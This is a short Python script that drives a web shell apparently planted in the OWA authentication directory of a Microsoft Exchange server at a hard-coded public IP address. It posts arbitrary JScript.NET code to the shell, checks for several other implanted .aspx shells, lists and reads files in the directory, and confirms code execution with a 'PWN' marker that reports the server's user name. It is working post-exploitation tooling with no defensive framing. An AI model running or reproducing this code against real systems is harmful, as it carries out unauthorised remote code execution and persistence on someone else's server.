#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=40)
        return r.text.split('!BD')[0][:900]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:100]}"

P = "C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth"
print("exists:", repr(ev(
 f'var d="{P}";var names=["c.aspx","t1.aspx","t2.aspx","mdcajy.aspx","a.aspx"];var s="";'
 'for(var i=0;i<names.length;i++){s+=names[i]+"="+System.IO.File.Exists(d+"\\\\"+names[i])+";";}Response.Write(s);')), flush=True)

print("listing:", repr(ev(
 f'var d=new System.IO.DirectoryInfo("{P}");var fs=d.GetFiles("*.aspx");var s="";'
 'for(var i=0;i<fs.Length;i++){s+=fs[i].Name+"("+fs[i].Length+")|";}Response.Write("N="+fs.Length+":"+s);')), flush=True)

print("c.aspx head:", repr(ev(
 f'var f="{P}\\\\c.aspx";Response.Write("SZ="+new System.IO.FileInfo(f).Length+"||"+System.IO.File.ReadAllText(f).Substring(0,180));')), flush=True)

print("http mdcajy recheck:", flush=True)
try:
    r = requests.post("https://103.167.140.144/owa/auth/mdcajy.aspx",
                      data={"exec_code": 'Response.Write("PWN|"+System.Environment.UserName);'}, verify=False, timeout=40)
    print("  ", r.status_code, repr(r.text[:60]))
except Exception as e:
    print("  EXC", str(e)[:100])